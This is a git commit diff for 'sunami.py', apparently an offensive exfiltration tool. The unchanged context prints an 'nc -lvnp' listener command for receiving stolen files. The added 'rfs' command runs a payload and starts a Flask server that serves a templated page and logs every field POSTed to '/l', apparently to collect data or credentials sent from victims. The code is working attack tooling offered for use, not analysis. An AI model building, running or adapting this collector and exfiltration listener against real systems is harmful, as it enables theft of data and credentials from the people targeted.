Update sunami.py

main
witchdocsec 2023-07-09 10:58:30 +01:00 committed by GitHub
parent 01c58bf411
commit 3412a110a6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 18 additions and 1 deletions

View File

@ -83,4 +83,21 @@ if args.command == "exfilfile":
break
if args.method == "nc":
print(f"on your machine run the following:\n\tnc -lvnp{args.port}")
print(f"on your machine run the following:\n\tnc -lvnp{args.port}")
if args.command == "rfs":
comm=payloads.RFS.run(args.ip, args.port, args.schema)
routeres(comm,args.local)
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route("/rfs",methods=["GET"])
def rfs(rfvs=args.vars):
rfsvars={v.split(":",1)[0]:v.split(":",1)[1] for v in rfvs}
return render_template(os.path.join("rfs",args.file),rfsvars=rfsvars)
@app.route("/l",methods=["POST"])
def listen():
for key in request.form.keys():
print(f"{key}:{request.form[key]}")
return ""
if __name__ == "__main__":
app.run(host=args.ip, port=int(args.port))